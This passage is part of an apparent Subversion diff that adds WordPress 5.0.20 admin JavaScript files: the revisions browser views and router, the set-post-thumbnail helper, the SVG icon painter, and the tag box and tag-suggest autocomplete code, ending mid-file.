+			var tickCount, tickWidth;
+			tickCount = this.model.revisions.length - 1;
+			tickWidth = 1 / tickCount;
+			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
+
+			_(tickCount).times( function( index ){
+				this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' );
+			}, this );
+		}
+	});
+
+	// The metabox view
+	revisions.view.Metabox = wp.Backbone.View.extend({
+		className: 'revisions-meta',
+
+		initialize: function() {
+			// Add the 'from' view
+			this.views.add( new revisions.view.MetaFrom({
+				model: this.model,
+				className: 'diff-meta diff-meta-from'
+			}) );
+
+			// Add the 'to' view
+			this.views.add( new revisions.view.MetaTo({
+				model: this.model
+			}) );
+		}
+	});
+
+	// The revision meta view (to be extended)
+	revisions.view.Meta = wp.Backbone.View.extend({
+		template: wp.template('revisions-meta'),
+
+		events: {
+			'click .restore-revision': 'restoreRevision'
+		},
+
+		initialize: function() {
+			this.listenTo( this.model, 'update:revisions', this.render );
+		},
+
+		prepare: function() {
+			return _.extend( this.model.toJSON()[this.type] || {}, {
+				type: this.type
+			});
+		},
+
+		restoreRevision: function() {
+			document.location = this.model.get('to').attributes.restoreUrl;
+		}
+	});
+
+	// The revision meta 'from' view
+	revisions.view.MetaFrom = revisions.view.Meta.extend({
+		className: 'diff-meta diff-meta-from',
+		type: 'from'
+	});
+
+	// The revision meta 'to' view
+	revisions.view.MetaTo = revisions.view.Meta.extend({
+		className: 'diff-meta diff-meta-to',
+		type: 'to'
+	});
+
+	// The checkbox view.
+	revisions.view.Checkbox = wp.Backbone.View.extend({
+		className: 'revisions-checkbox',
+		template: wp.template('revisions-checkbox'),
+
+		events: {
+			'click .compare-two-revisions': 'compareTwoToggle'
+		},
+
+		initialize: function() {
+			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
+		},
+
+		ready: function() {
+			if ( this.model.revisions.length < 3 ) {
+				$('.revision-toggle-compare-mode').hide();
+			}
+		},
+
+		updateCompareTwoMode: function() {
+			this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') );
+		},
+
+		// Toggle the compare two mode feature when the compare two checkbox is checked.
+		compareTwoToggle: function() {
+			// Activate compare two mode?
+			this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') });
+		}
+	});
+
+	// The tooltip view.
+	// Encapsulates the tooltip.
+	revisions.view.Tooltip = wp.Backbone.View.extend({
+		className: 'revisions-tooltip',
+		template: wp.template('revisions-meta'),
+
+		initialize: function() {
+			this.listenTo( this.model, 'change:offset', this.render );
+			this.listenTo( this.model, 'change:hovering', this.toggleVisibility );
+			this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility );
+		},
+
+		prepare: function() {
+			if ( _.isNull( this.model.get('revision') ) ) {
+				return;
+			} else {
+				return _.extend( { type: 'tooltip' }, {
+					attributes: this.model.get('revision').toJSON()
+				});
+			}
+		},
+
+		render: function() {
+			var otherDirection,
+				direction,
+				directionVal,
+				flipped,
+				css      = {},
+				position = this.model.revisions.indexOf( this.model.get('revision') ) + 1;
+
+			flipped = ( position / this.model.revisions.length ) > 0.5;
+			if ( isRtl ) {
+				direction = flipped ? 'left' : 'right';
+				directionVal = flipped ? 'leftPlusWidth' : direction;
+			} else {
+				direction = flipped ? 'right' : 'left';
+				directionVal = flipped ? 'rightPlusWidth' : direction;
+			}
+			otherDirection = 'right' === direction ? 'left': 'right';
+			wp.Backbone.View.prototype.render.apply( this, arguments );
+			css[direction] = this.model.get('offset')[directionVal] + 'px';
+			css[otherDirection] = '';
+			this.$el.toggleClass( 'flipped', flipped ).css( css );
+		},
+
+		visible: function() {
+			return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' );
+		},
+
+		toggleVisibility: function() {
+			if ( this.visible() ) {
+				this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 );
+			} else {
+				this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } );
+			}
+			return;
+		}
+	});
+
+	// The buttons view.
+	// Encapsulates all of the configuration for the previous/next buttons.
+	revisions.view.Buttons = wp.Backbone.View.extend({
+		className: 'revisions-buttons',
+		template: wp.template('revisions-buttons'),
+
+		events: {
+			'click .revisions-next .button': 'nextRevision',
+			'click .revisions-previous .button': 'previousRevision'
+		},
+
+		initialize: function() {
+			this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck );
+		},
+
+		ready: function() {
+			this.disabledButtonCheck();
+		},
+
+		// Go to a specific model index
+		gotoModel: function( toIndex ) {
+			var attributes = {
+				to: this.model.revisions.at( toIndex )
+			};
+			// If we're at the first revision, unset 'from'.
+			if ( toIndex ) {
+				attributes.from = this.model.revisions.at( toIndex - 1 );
+			} else {
+				this.model.unset('from', { silent: true });
+			}
+
+			this.model.set( attributes );
+		},
+
+		// Go to the 'next' revision
+		nextRevision: function() {
+			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1;
+			this.gotoModel( toIndex );
+		},
+
+		// Go to the 'previous' revision
+		previousRevision: function() {
+			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1;
+			this.gotoModel( toIndex );
+		},
+
+		// Check to see if the Previous or Next buttons need to be disabled or enabled.
+		disabledButtonCheck: function() {
+			var maxVal   = this.model.revisions.length - 1,
+				minVal   = 0,
+				next     = $('.revisions-next .button'),
+				previous = $('.revisions-previous .button'),
+				val      = this.model.revisions.indexOf( this.model.get('to') );
+
+			// Disable "Next" button if you're on the last node.
+			next.prop( 'disabled', ( maxVal === val ) );
+
+			// Disable "Previous" button if you're on the first node.
+			previous.prop( 'disabled', ( minVal === val ) );
+		}
+	});
+
+
+	// The slider view.
+	revisions.view.Slider = wp.Backbone.View.extend({
+		className: 'wp-slider',
+		direction: isRtl ? 'right' : 'left',
+
+		events: {
+			'mousemove' : 'mouseMove'
+		},
+
+		initialize: function() {
+			_.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' );
+			this.listenTo( this.model, 'update:slider', this.applySliderSettings );
+		},
+
+		ready: function() {
+			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
+			this.$el.slider( _.extend( this.model.toJSON(), {
+				start: this.start,
+				slide: this.slide,
+				stop:  this.stop
+			}) );
+
+			this.$el.hoverIntent({
+				over: this.mouseEnter,
+				out: this.mouseLeave,
+				timeout: 800
+			});
+
+			this.applySliderSettings();
+		},
+
+		mouseMove: function( e ) {
+			var zoneCount         = this.model.revisions.length - 1, // One fewer zone than models
+				sliderFrom        = this.$el.allOffsets()[this.direction], // "From" edge of slider
+				sliderWidth       = this.$el.width(), // Width of slider
+				tickWidth         = sliderWidth / zoneCount, // Calculated width of zone
+				actualX           = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom;
+				currentModelIndex = Math.floor( ( actualX  + ( tickWidth / 2 )  ) / tickWidth ); // Calculate the model index
+
+			// Ensure sane value for currentModelIndex.
+			if ( currentModelIndex < 0 ) {
+				currentModelIndex = 0;
+			} else if ( currentModelIndex >= this.model.revisions.length ) {
+				currentModelIndex = this.model.revisions.length - 1;
+			}
+
+			// Update the tooltip mode
+			this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) });
+		},
+
+		mouseLeave: function() {
+			this.model.set({ hovering: false });
+		},
+
+		mouseEnter: function() {
+			this.model.set({ hovering: true });
+		},
+
+		applySliderSettings: function() {
+			this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) );
+			var handles = this.$('a.ui-slider-handle');
+
+			if ( this.model.get('compareTwoMode') ) {
+				// in RTL mode the 'left handle' is the second in the slider, 'right' is first
+				handles.first()
+					.toggleClass( 'to-handle', !! isRtl )
+					.toggleClass( 'from-handle', ! isRtl );
+				handles.last()
+					.toggleClass( 'from-handle', !! isRtl )
+					.toggleClass( 'to-handle', ! isRtl );
+			} else {
+				handles.removeClass('from-handle to-handle');
+			}
+		},
+
+		start: function( event, ui ) {
+			this.model.set({ scrubbing: true });
+
+			// Track the mouse position to enable smooth dragging,
+			// overrides default jQuery UI step behavior.
+			$( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) {
+				var handles,
+					view              = e.data.view,
+					leftDragBoundary  = view.$el.offset().left,
+					sliderOffset      = leftDragBoundary,
+					sliderRightEdge   = leftDragBoundary + view.$el.width(),
+					rightDragBoundary = sliderRightEdge,
+					leftDragReset     = '0',
+					rightDragReset    = '100%',
+					handle            = $( ui.handle );
+
+				// In two handle mode, ensure handles can't be dragged past each other.
+				// Adjust left/right boundaries and reset points.
+				if ( view.model.get('compareTwoMode') ) {
+					handles = handle.parent().find('.ui-slider-handle');
+					if ( handle.is( handles.first() ) ) { // We're the left handle
+						rightDragBoundary = handles.last().offset().left;
+						rightDragReset    = rightDragBoundary - sliderOffset;
+					} else { // We're the right handle
+						leftDragBoundary = handles.first().offset().left + handles.first().width();
+						leftDragReset    = leftDragBoundary - sliderOffset;
+					}
+				}
+
+				// Follow mouse movements, as long as handle remains inside slider.
+				if ( e.pageX < leftDragBoundary ) {
+					handle.css( 'left', leftDragReset ); // Mouse to left of slider.
+				} else if ( e.pageX > rightDragBoundary ) {
+					handle.css( 'left', rightDragReset ); // Mouse to right of slider.
+				} else {
+					handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider.
+				}
+			} );
+		},
+
+		getPosition: function( position ) {
+			return isRtl ? this.model.revisions.length - position - 1: position;
+		},
+
+		// Responds to slide events
+		slide: function( event, ui ) {
+			var attributes, movedRevision;
+			// Compare two revisions mode
+			if ( this.model.get('compareTwoMode') ) {
+				// Prevent sliders from occupying same spot
+				if ( ui.values[1] === ui.values[0] ) {
+					return false;
+				}
+				if ( isRtl ) {
+					ui.values.reverse();
+				}
+				attributes = {
+					from: this.model.revisions.at( this.getPosition( ui.values[0] ) ),
+					to: this.model.revisions.at( this.getPosition( ui.values[1] ) )
+				};
+			} else {
+				attributes = {
+					to: this.model.revisions.at( this.getPosition( ui.value ) )
+				};
+				// If we're at the first revision, unset 'from'.
+				if ( this.getPosition( ui.value ) > 0 ) {
+					attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 );
+				} else {
+					attributes.from = undefined;
+				}
+			}
+			movedRevision = this.model.revisions.at( this.getPosition( ui.value ) );
+
+			// If we are scrubbing, a scrub to a revision is considered a hover
+			if ( this.model.get('scrubbing') ) {
+				attributes.hoveredRevision = movedRevision;
+			}
+
+			this.model.set( attributes );
+		},
+
+		stop: function() {
+			$( window ).off('mousemove.wp.revisions');
+			this.model.updateSliderSettings(); // To snap us back to a tick mark
+			this.model.set({ scrubbing: false });
+		}
+	});
+
+	// The diff view.
+	// This is the view for the current active diff.
+	revisions.view.Diff = wp.Backbone.View.extend({
+		className: 'revisions-diff',
+		template:  wp.template('revisions-diff'),
+
+		// Generate the options to be passed to the template.
+		prepare: function() {
+			return _.extend({ fields: this.model.fields.toJSON() }, this.options );
+		}
+	});
+
+	// The revisions router.
+	// Maintains the URL routes so browser URL matches state.
+	revisions.Router = Backbone.Router.extend({
+		initialize: function( options ) {
+			this.model = options.model;
+
+			// Maintain state and history when navigating
+			this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) );
+			this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl );
+		},
+
+		baseUrl: function( url ) {
+			return this.model.get('baseUrl') + url;
+		},
+
+		updateUrl: function() {
+			var from = this.model.has('from') ? this.model.get('from').id : 0,
+				to   = this.model.get('to').id;
+			if ( this.model.get('compareTwoMode' ) ) {
+				this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } );
+			} else {
+				this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } );
+			}
+		},
+
+		handleRoute: function( a, b ) {
+			var compareTwo = _.isUndefined( b );
+
+			if ( ! compareTwo ) {
+				b = this.model.revisions.get( a );
+				a = this.model.revisions.prev( b );
+				b = b ? b.id : 0;
+				a = a ? a.id : 0;
+			}
+		}
+	});
+
+	/**
+	 * Initialize the revisions UI for revision.php.
+	 */
+	revisions.init = function() {
+		var state;
+
+		// Bail if the current page is not revision.php.
+		if ( ! window.adminpage || 'revision-php' !== window.adminpage ) {
+			return;
+		}
+
+		state = new revisions.model.FrameState({
+			initialDiffState: {
+				// wp_localize_script doesn't stringifies ints, so cast them.
+				to: parseInt( revisions.settings.to, 10 ),
+				from: parseInt( revisions.settings.from, 10 ),
+				// wp_localize_script does not allow for top-level booleans so do a comparator here.
+				compareTwoMode: ( revisions.settings.compareTwoMode === '1' )
+			},
+			diffData: revisions.settings.diffData,
+			baseUrl: revisions.settings.baseUrl,
+			postId: parseInt( revisions.settings.postId, 10 )
+		}, {
+			revisions: new revisions.model.Revisions( revisions.settings.revisionData )
+		});
+
+		revisions.view.frame = new revisions.view.Frame({
+			model: state
+		}).render();
+	};
+
+	$( revisions.init );
+}(jQuery));
Index: /tags/5.0.20/src/wp-admin/js/set-post-thumbnail.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/set-post-thumbnail.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/set-post-thumbnail.js	(revision 56912)
@@ -0,0 +1,24 @@
+/* global setPostThumbnailL10n, ajaxurl, post_id, alert */
+/* exported WPSetAsThumbnail */
+
+function WPSetAsThumbnail( id, nonce ) {
+	var $link = jQuery('a#wp-post-thumbnail-' + id);
+
+	$link.text( setPostThumbnailL10n.saving );
+	jQuery.post(ajaxurl, {
+		action: 'set-post-thumbnail', post_id: post_id, thumbnail_id: id, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie )
+	}, function(str){
+		var win = window.dialogArguments || opener || parent || top;
+		$link.text( setPostThumbnailL10n.setThumbnail );
+		if ( str == '0' ) {
+			alert( setPostThumbnailL10n.error );
+		} else {
+			jQuery('a.wp-post-thumbnail').show();
+			$link.text( setPostThumbnailL10n.done );
+			$link.fadeOut( 2000 );
+			win.WPSetThumbnailID(id);
+			win.WPSetThumbnailHTML(str);
+		}
+	}
+	);
+}
Index: /tags/5.0.20/src/wp-admin/js/svg-painter.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/svg-painter.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/svg-painter.js	(revision 56912)
@@ -0,0 +1,240 @@
+/**
+ * Attempt to re-color SVG icons used in the admin menu or the toolbar
+ *
+ */
+
+window.wp = window.wp || {};
+
+wp.svgPainter = ( function( $, window, document, undefined ) {
+	'use strict';
+	var selector, base64, painter,
+		colorscheme = {},
+		elements = [];
+
+	$(document).ready( function() {
+		// detection for browser SVG capability
+		if ( document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ) ) {
+			$( document.body ).removeClass( 'no-svg' ).addClass( 'svg' );
+			wp.svgPainter.init();
+		}
+	});
+
+	/**
+	 * Needed only for IE9
+	 *
+	 * Based on jquery.base64.js 0.0.3 - https://github.com/yckart/jquery.base64.js
+	 *
+	 * Based on: https://gist.github.com/Yaffle/1284012
+	 *
+	 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
+	 * Licensed under the MIT license
+	 * http://www.opensource.org/licenses/mit-license.php
+	 */
+	base64 = ( function() {
+		var c,
+			b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
+			a256 = '',
+			r64 = [256],
+			r256 = [256],
+			i = 0;
+
+		function init() {
+			while( i < 256 ) {
+				c = String.fromCharCode(i);
+				a256 += c;
+				r256[i] = i;
+				r64[i] = b64.indexOf(c);
+				++i;
+			}
+		}
+
+		function code( s, discard, alpha, beta, w1, w2 ) {
+			var tmp, length,
+				buffer = 0,
+				i = 0,
+				result = '',
+				bitsInBuffer = 0;
+
+			s = String(s);
+			length = s.length;
+
+			while( i < length ) {
+				c = s.charCodeAt(i);
+				c = c < 256 ? alpha[c] : -1;
+
+				buffer = ( buffer << w1 ) + c;
+				bitsInBuffer += w1;
+
+				while( bitsInBuffer >= w2 ) {
+					bitsInBuffer -= w2;
+					tmp = buffer >> bitsInBuffer;
+					result += beta.charAt(tmp);
+					buffer ^= tmp << bitsInBuffer;
+				}
+				++i;
+			}
+
+			if ( ! discard && bitsInBuffer > 0 ) {
+				result += beta.charAt( buffer << ( w2 - bitsInBuffer ) );
+			}
+
+			return result;
+		}
+
+		function btoa( plain ) {
+			if ( ! c ) {
+				init();
+			}
+
+			plain = code( plain, false, r256, b64, 8, 6 );
+			return plain + '===='.slice( ( plain.length % 4 ) || 4 );
+		}
+
+		function atob( coded ) {
+			var i;
+
+			if ( ! c ) {
+				init();
+			}
+
+			coded = coded.replace( /[^A-Za-z0-9\+\/\=]/g, '' );
+			coded = String(coded).split('=');
+			i = coded.length;
+
+			do {
+				--i;
+				coded[i] = code( coded[i], true, r64, a256, 6, 8 );
+			} while ( i > 0 );
+
+			coded = coded.join('');
+			return coded;
+		}
+
+		return {
+			atob: atob,
+			btoa: btoa
+		};
+	})();
+
+	return {
+		init: function() {
+			painter = this;
+			selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );
+
+			this.setColors();
+			this.findElements();
+			this.paint();
+		},
+
+		setColors: function( colors ) {
+			if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
+				colors = window._wpColorScheme;
+			}
+
+			if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
+				colorscheme = colors.icons;
+			}
+		},
+
+		findElements: function() {
+			selector.each( function() {
+				var $this = $(this), bgImage = $this.css( 'background-image' );
+
+				if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
+					elements.push( $this );
+				}
+			});
+		},
+
+		paint: function() {
+			// loop through all elements
+			$.each( elements, function( index, $element ) {
+				var $menuitem = $element.parent().parent();
+
+				if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
+					// paint icon in 'current' color
+					painter.paintElement( $element, 'current' );
+				} else {
+					// paint icon in base color
+					painter.paintElement( $element, 'base' );
+
+					// set hover callbacks
+					$menuitem.hover(
+						function() {
+							painter.paintElement( $element, 'focus' );
+						},
+						function() {
+							// Match the delay from hoverIntent
+							window.setTimeout( function() {
+								painter.paintElement( $element, 'base' );
+							}, 100 );
+						}
+					);
+				}
+			});
+		},
+
+		paintElement: function( $element, colorType ) {
+			var xml, encoded, color;
+
+			if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
+				return;
+			}
+
+			color = colorscheme[ colorType ];
+
+			// only accept hex colors: #101 or #101010
+			if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
+				return;
+			}
+
+			xml = $element.data( 'wp-ui-svg-' + color );
+
+			if ( xml === 'none' ) {
+				return;
+			}
+
+			if ( ! xml ) {
+				encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );
+
+				if ( ! encoded || ! encoded[1] ) {
+					$element.data( 'wp-ui-svg-' + color, 'none' );
+					return;
+				}
+
+				try {
+					if ( 'atob' in window ) {
+						xml = window.atob( encoded[1] );
+					} else {
+						xml = base64.atob( encoded[1] );
+					}
+				} catch ( error ) {}
+
+				if ( xml ) {
+					// replace `fill` attributes
+					xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');
+
+					// replace `style` attributes
+					xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');
+
+					// replace `fill` properties in `<style>` tags
+					xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');
+
+					if ( 'btoa' in window ) {
+						xml = window.btoa( xml );
+					} else {
+						xml = base64.btoa( xml );
+					}
+
+					$element.data( 'wp-ui-svg-' + color, xml );
+				} else {
+					$element.data( 'wp-ui-svg-' + color, 'none' );
+					return;
+				}
+			}
+
+			$element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
+		}
+	};
+
+})( jQuery, window, document );
Index: /tags/5.0.20/src/wp-admin/js/tags-box.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/tags-box.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/tags-box.js	(revision 56912)
@@ -0,0 +1,263 @@
+/* jshint curly: false, eqeqeq: false */
+/* global ajaxurl */
+
+var tagBox, array_unique_noempty;
+
+( function( $ ) {
+	var tagDelimiter = ( window.tagsSuggestL10n && window.tagsSuggestL10n.tagDelimiter ) || ',';
+
+	// Return an array with any duplicate, whitespace or empty values removed
+	array_unique_noempty = function( array ) {
+		var out = [];
+
+		$.each( array, function( key, val ) {
+			val = $.trim( val );
+
+			if ( val && $.inArray( val, out ) === -1 ) {
+				out.push( val );
+			}
+		} );
+
+		return out;
+	};
+
+	tagBox = {
+		clean : function( tags ) {
+			if ( ',' !== tagDelimiter ) {
+				tags = tags.replace( new RegExp( tagDelimiter, 'g' ), ',' );
+			}
+
+			tags = tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, '');
+
+			if ( ',' !== tagDelimiter ) {
+				tags = tags.replace( /,/g, tagDelimiter );
+			}
+
+			return tags;
+		},
+
+		parseTags : function(el) {
+			var id = el.id,
+				num = id.split('-check-num-')[1],
+				taxbox = $(el).closest('.tagsdiv'),
+				thetags = taxbox.find('.the-tags'),
+				current_tags = thetags.val().split( tagDelimiter ),
+				new_tags = [];
+
+			delete current_tags[num];
+
+			$.each( current_tags, function( key, val ) {
+				val = $.trim( val );
+				if ( val ) {
+					new_tags.push( val );
+				}
+			});
+
+			thetags.val( this.clean( new_tags.join( tagDelimiter ) ) );
+
+			this.quickClicks( taxbox );
+			return false;
+		},
+
+		quickClicks : function( el ) {
+			var thetags = $('.the-tags', el),
+				tagchecklist = $('.tagchecklist', el),
+				id = $(el).attr('id'),
+				current_tags, disabled;
+
+			if ( ! thetags.length )
+				return;
+
+			disabled = thetags.prop('disabled');
+
+			current_tags = thetags.val().split( tagDelimiter );
+			tagchecklist.empty();
+
+			$.each( current_tags, function( key, val ) {
+				var listItem, xbutton;
+
+				val = $.trim( val );
+
+				if ( ! val )
+					return;
+
+				// Create a new list item, and ensure the text is properly escaped.
+				listItem = $( '<li />' ).text( val );
+
+				// If tags editing isn't disabled, create the X button.
+				if ( ! disabled ) {
+					/*
+					 * Build the X buttons, hide the X icon with aria-hidden and
+					 * use visually hidden text for screen readers.
+					 */
+					xbutton = $( '<button type="button" id="' + id + '-check-num-' + key + '" class="ntdelbutton">' +
+						'<span class="remove-tag-icon" aria-hidden="true"></span>' +
+						'<span class="screen-reader-text">' + window.tagsSuggestL10n.removeTerm + ' ' + listItem.html() + '</span>' +
+						'</button>' );
+
+					xbutton.on( 'click keypress', function( e ) {
+						// On click or when using the Enter/Spacebar keys.
+						if ( 'click' === e.type || 13 === e.keyCode || 32 === e.keyCode ) {
+							/*
+							 * When using the keyboard, move focus back to the
+							 * add new tag field. Note: when releasing the pressed
+							 * key this will fire the `keyup` event on the input.
+							 */
+							if ( 13 === e.keyCode || 32 === e.keyCode ) {
+ 								$( this ).closest( '.tagsdiv' ).find( 'input.newtag' ).focus();
+ 							}
+
+							tagBox.userAction = 'remove';
+							tagBox.parseTags( this );
+						}
+					});
+
+					listItem.prepend( '&nbsp;' ).prepend( xbutton );
+				}
+
+				// Append the list item to the tag list.
+				tagchecklist.append( listItem );
+			});
+			// The buttons list is built now, give feedback to screen reader users.
+			tagBox.screenReadersMessage();
+		},
+
+		flushTags : function( el, a, f ) {
+			var tagsval, newtags, text,
+				tags = $( '.the-tags', el ),
+				newtag = $( 'input.newtag', el );
+
+			a = a || false;
+
+			text = a ? $(a).text() : newtag.val();
+
+			/*
+			 * Return if there's no new tag or if the input field is empty.
+			 * Note: when using the keyboard to add tags, focus is moved back to
+			 * the input field and the `keyup` event attached on this field will
+			 * fire when releasing the pressed key. Checking also for the field
+			 * emptiness avoids to set the tags and call quickClicks() again.
+			 */
+			if ( 'undefined' == typeof( text ) || '' === text ) {
+				return false;
+			}
+
+			tagsval = tags.val();
+			newtags = tagsval ? tagsval + tagDelimiter + text : text;
+
+			newtags = this.clean( newtags );
+			newtags = array_unique_noempty( newtags.split( tagDelimiter ) ).join( tagDelimiter );
+			tags.val( newtags );
+			this.quickClicks( el );
+
+			if ( ! a )
+				newtag.val('');
+			if ( 'undefined' == typeof( f ) )
+				newtag.focus();
+
+			return false;
+		},
+
+		get : function( id ) {
+			var tax = id.substr( id.indexOf('-') + 1 );
+
+			$.post( ajaxurl, { 'action': 'get-tagcloud', 'tax': tax }, function( r, stat ) {
+				if ( 0 === r || 'success' != stat ) {
+					return;
+				}
+
+				r = $( '<div id="tagcloud-' + tax + '" class="the-tagcloud">' + r + '</div>' );
+
+				$( 'a', r ).click( function() {
+					tagBox.userAction = 'add';
+					tagBox.flushTags( $( '#' + tax ), this );
+					return false;
+				});
+
+				$( '#' + id ).after( r );
+			});
+		},
+
+		/**
+		 * Track the user's last action.
+		 *
+		 * @since 4.7.0
+		 */
+		userAction: '',
+
+		/**
+		 * Dispatch an audible message to screen readers.
+		 *
+		 * @since 4.7.0
+		 */
+		screenReadersMessage: function() {
+			var message;
+
+			switch ( this.userAction ) {
+				case 'remove':
+					message = window.tagsSuggestL10n.termRemoved;
+					break;
+
+				case 'add':
+					message = window.tagsSuggestL10n.termAdded;
+					break;
+
+				default:
+					return;
+			}
+
+			window.wp.a11y.speak( message, 'assertive' );
+		},
+
+		init : function() {
+			var ajaxtag = $('div.ajaxtag');
+
+			$('.tagsdiv').each( function() {
+				tagBox.quickClicks( this );
+			});
+
+			$( '.tagadd', ajaxtag ).click( function() {
+				tagBox.userAction = 'add';
+				tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
+			});
+
+			$( 'input.newtag', ajaxtag ).keypress( function( event ) {
+				if ( 13 == event.which ) {
+					tagBox.userAction = 'add';
+					tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
+					event.preventDefault();
+					event.stopPropagation();
+				}
+			}).keypress( function( event ) {
+				if ( 13 == event.which ) {
+					event.preventDefault();
+					event.stopPropagation();
+				}
+			}).each( function( i, element ) {
+				$( element ).wpTagsSuggest();
+			});
+
+			// save tags on post save/publish
+			$('#post').submit(function(){
+				$('div.tagsdiv').each( function() {
+					tagBox.flushTags(this, false, 1);
+				});
+			});
+
+			// Fetch and toggle the Tag cloud.
+			$('.tagcloud-link').click(function(){
+				// On the first click, fetch the tag cloud and insert it in the DOM.
+				tagBox.get( $( this ).attr( 'id' ) );
+				// Update button state, remove previous click event and attach a new one to toggle the cloud.
+				$( this )
+					.attr( 'aria-expanded', 'true' )
+					.unbind()
+					.click( function() {
+						$( this )
+							.attr( 'aria-expanded', 'false' === $( this ).attr( 'aria-expanded' ) ? 'true' : 'false' )
+							.siblings( '.the-tagcloud' ).toggle();
+					});
+			});
+		}
+	};
+}( jQuery ));
Index: /tags/5.0.20/src/wp-admin/js/tags-suggest.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/tags-suggest.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/tags-suggest.js	(revision 56912)
@@ -0,0 +1,185 @@
+/**
+ * Default settings for jQuery UI Autocomplete for use with non-hierarchical taxonomies.
+ */
+( function( $ ) {
+	if ( typeof window.tagsSuggestL10n === 'undefined' || typeof window.uiAutocompleteL10n === 'undefined' ) {
+		return;
+	}
+
+	var tempID = 0;
+	var separator = window.tagsSuggestL10n.tagDelimiter || ',';
+
+	function split( val ) {
+		return val.split( new RegExp( separator + '\\s*' ) );
+	}
+
+	function getLast( term ) {
+		return split( term ).pop();
+	}
+
+	/**
+	 * Add UI Autocomplete to an input or textarea element with presets for use
+	 * with non-hierarchical taxonomies.
+	 *
+	 * Example: `$( element ).wpTagsSuggest( options )`.
+	 *
+	 * The taxonomy can be passed in a `data-wp-taxonomy` attribute on the element or
+	 * can be in `options.taxonomy`.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param {object} options Options that are passed to UI Autocomplete. Can be used to override the default settings.
+	 * @returns {object} jQuery instance.
+	 */
+	$.fn.wpTagsSuggest = function( options ) {
+		var cache;
+		var last;
+		var $element = $( this );
+
+		options = options || {};
+
+		var taxonomy = options.taxonomy || $element.attr( 'data-wp-taxonomy' ) || 'post_tag';
+
+		delete( options.taxonomy );
+
+		options = $.extend( {
+			source: function( request, response ) {
+				var term;
+
+				if ( last === request.term ) {
+					response( cache );
+					return;
+				}
+
+				term = getLast( request.term );
+
+				$.get( window.ajaxurl, {
+					action: 'ajax-tag-search',
+					tax: taxonomy,
+					q: term
+				} ).always( function() {
+					$element.removeClass( 'ui-autocomplete-loading' ); // UI fails to remove this sometimes?
+				} ).done( function( data ) {
+					var tagName;
+					var tags = [];
+
+					if ( data ) {
+						data = data.split( '\n' );
+
+						for ( tagName in data ) {
+							var id = ++tempID;
+
+							tags.push({
+								id: id,
+								name: data[tagName]
+							});
+						}
+
+						cache = tags;
+						response( tags );
+					} else {
+						response( tags );
+					}
+				} );
+
+				last = request.term;
+			},
+			focus: function( event, ui ) {
+				$element.attr( 'aria-activedescendant', 'wp-tags-autocomplete-' + ui.item.id );
+
+				// Don't empty the input field when using the arrow keys to
+				// highlight items. See api.jqueryui.com/autocomplete/#event-focus
+				event.preventDefault();
+			},
+			select: function( event, ui ) {
+				var tags = split( $element.val() );
+				// Remove the last user input.
+				tags.pop();
+				// Append the new tag and an empty element to get one more separator at the end.
+				tags.push( ui.item.name, '' );
+
+				$element.val( tags.join( separator + ' ' ) );
+
+				if ( $.ui.keyCode.TAB === event.keyCode ) {
+					// Audible confirmation message when a tag has been selected.
+					window.wp.a11y.speak( window.tagsSuggestL10n.termSelected, 'assertive' );
